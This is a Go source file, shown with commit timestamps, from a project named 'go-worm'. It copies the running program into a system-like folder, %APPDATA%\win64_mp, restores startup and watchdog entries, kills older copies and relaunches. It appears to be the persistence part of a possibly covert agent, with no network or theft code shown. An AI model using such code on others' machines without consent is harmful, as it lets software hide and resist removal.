2026-08-28 12:52:26 +03:00
|
|
|
package install
|
|
|
|
|
|
|
|
|
|
import (
|
|
|
|
|
"fmt"
|
|
|
|
|
"io"
|
|
|
|
|
"os"
|
|
|
|
|
"path/filepath"
|
|
|
|
|
"strings"
|
2026-09-02 00:00:24 +03:00
|
|
|
"time"
|
2026-08-28 12:52:26 +03:00
|
|
|
|
|
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
2026-09-02 00:00:24 +03:00
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
|
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/instance"
|
|
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/startup"
|
2026-08-28 12:52:26 +03:00
|
|
|
)
|
|
|
|
|
|
2026-09-02 00:00:24 +03:00
|
|
|
const replaceWait = 8 * time.Second
|
|
|
|
|
|
2026-08-28 13:30:12 +03:00
|
|
|
// Ensure copies the running exe into %APPDATA%\win64_mp\ when needed,
|
2026-08-28 12:52:26 +03:00
|
|
|
// refreshes an existing startup entry to that path, and re-launches from there.
|
2026-09-02 00:00:24 +03:00
|
|
|
// If an older agent is already installed or listening, it is torn down first.
|
|
|
|
|
// Old builds have no version field to compare, so any launch from outside
|
|
|
|
|
// the install path takes over.
|
2026-08-28 12:52:26 +03:00
|
|
|
func Ensure() error {
|
|
|
|
|
target, err := config.InstalledExe()
|
|
|
|
|
if err != nil {
|
|
|
|
|
return err
|
|
|
|
|
}
|
|
|
|
|
current, err := os.Executable()
|
|
|
|
|
if err != nil {
|
|
|
|
|
return err
|
|
|
|
|
}
|
|
|
|
|
current, err = filepath.Abs(current)
|
|
|
|
|
if err != nil {
|
|
|
|
|
return err
|
|
|
|
|
}
|
|
|
|
|
target, err = filepath.Abs(target)
|
|
|
|
|
if err != nil {
|
|
|
|
|
return err
|
|
|
|
|
}
|
|
|
|
|
if samePath(current, target) {
|
2026-09-01 23:12:22 +03:00
|
|
|
_ = syncStartup()
|
2026-08-28 12:52:26 +03:00
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
|
2026-09-02 00:00:24 +03:00
|
|
|
hadStartup := startup.Enabled()
|
2026-09-02 00:15:37 +03:00
|
|
|
hadWatchdog := startup.WatchdogEnabled()
|
2026-09-02 00:00:24 +03:00
|
|
|
takeover(target)
|
|
|
|
|
if err := replaceExe(current, target); err != nil {
|
|
|
|
|
return fmt.Errorf("copy to %s: %w", target, err)
|
|
|
|
|
}
|
|
|
|
|
if hadStartup {
|
|
|
|
|
if err := startup.Enable(); err != nil {
|
|
|
|
|
helpers.Log.Printf("takeover: restore startup: %v", err)
|
2026-08-28 12:52:26 +03:00
|
|
|
}
|
|
|
|
|
}
|
2026-09-02 00:15:37 +03:00
|
|
|
if hadWatchdog {
|
|
|
|
|
if err := startup.EnableWatchdog(); err != nil {
|
|
|
|
|
helpers.Log.Printf("takeover: restore watchdog: %v", err)
|
|
|
|
|
}
|
|
|
|
|
}
|
2026-08-28 12:52:26 +03:00
|
|
|
|
2026-09-01 20:12:12 +03:00
|
|
|
return relaunchInstalled(target)
|
2026-08-28 12:52:26 +03:00
|
|
|
}
|
|
|
|
|
|
2026-09-02 00:00:24 +03:00
|
|
|
func takeover(installed string) {
|
|
|
|
|
helpers.Log.Printf("takeover: replacing %s", installed)
|
|
|
|
|
if err := startup.Disable(); err != nil {
|
|
|
|
|
helpers.Log.Printf("takeover: disable old startup: %v", err)
|
|
|
|
|
}
|
2026-09-02 00:15:37 +03:00
|
|
|
if err := startup.DisableWatchdog(); err != nil {
|
|
|
|
|
helpers.Log.Printf("takeover: disable old watchdog: %v", err)
|
|
|
|
|
}
|
2026-09-02 00:00:24 +03:00
|
|
|
if err := instance.KillOtherAgents(); err != nil {
|
|
|
|
|
helpers.Log.Printf("takeover: kill: %v", err)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func replaceExe(from, to string) error {
|
|
|
|
|
deadline := time.Now().Add(replaceWait)
|
|
|
|
|
var last error
|
|
|
|
|
for {
|
|
|
|
|
_ = instance.KillOtherAgents()
|
|
|
|
|
_ = os.Remove(to)
|
|
|
|
|
last = copyExe(from, to)
|
|
|
|
|
if last == nil {
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
if time.Now().After(deadline) {
|
|
|
|
|
return last
|
|
|
|
|
}
|
|
|
|
|
time.Sleep(100 * time.Millisecond)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
2026-08-28 12:52:26 +03:00
|
|
|
func copyExe(from, to string) error {
|
|
|
|
|
if err := os.MkdirAll(filepath.Dir(to), 0o700); err != nil {
|
|
|
|
|
return err
|
|
|
|
|
}
|
|
|
|
|
src, err := os.Open(from)
|
|
|
|
|
if err != nil {
|
|
|
|
|
return err
|
|
|
|
|
}
|
|
|
|
|
defer src.Close()
|
|
|
|
|
|
|
|
|
|
dst, err := os.OpenFile(to, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o700)
|
|
|
|
|
if err != nil {
|
|
|
|
|
return err
|
|
|
|
|
}
|
|
|
|
|
defer dst.Close()
|
|
|
|
|
|
|
|
|
|
if _, err := io.Copy(dst, src); err != nil {
|
|
|
|
|
return err
|
|
|
|
|
}
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func samePath(a, b string) bool {
|
|
|
|
|
a = filepath.Clean(a)
|
|
|
|
|
b = filepath.Clean(b)
|
|
|
|
|
return strings.EqualFold(a, b)
|
|
|
|
|
}
|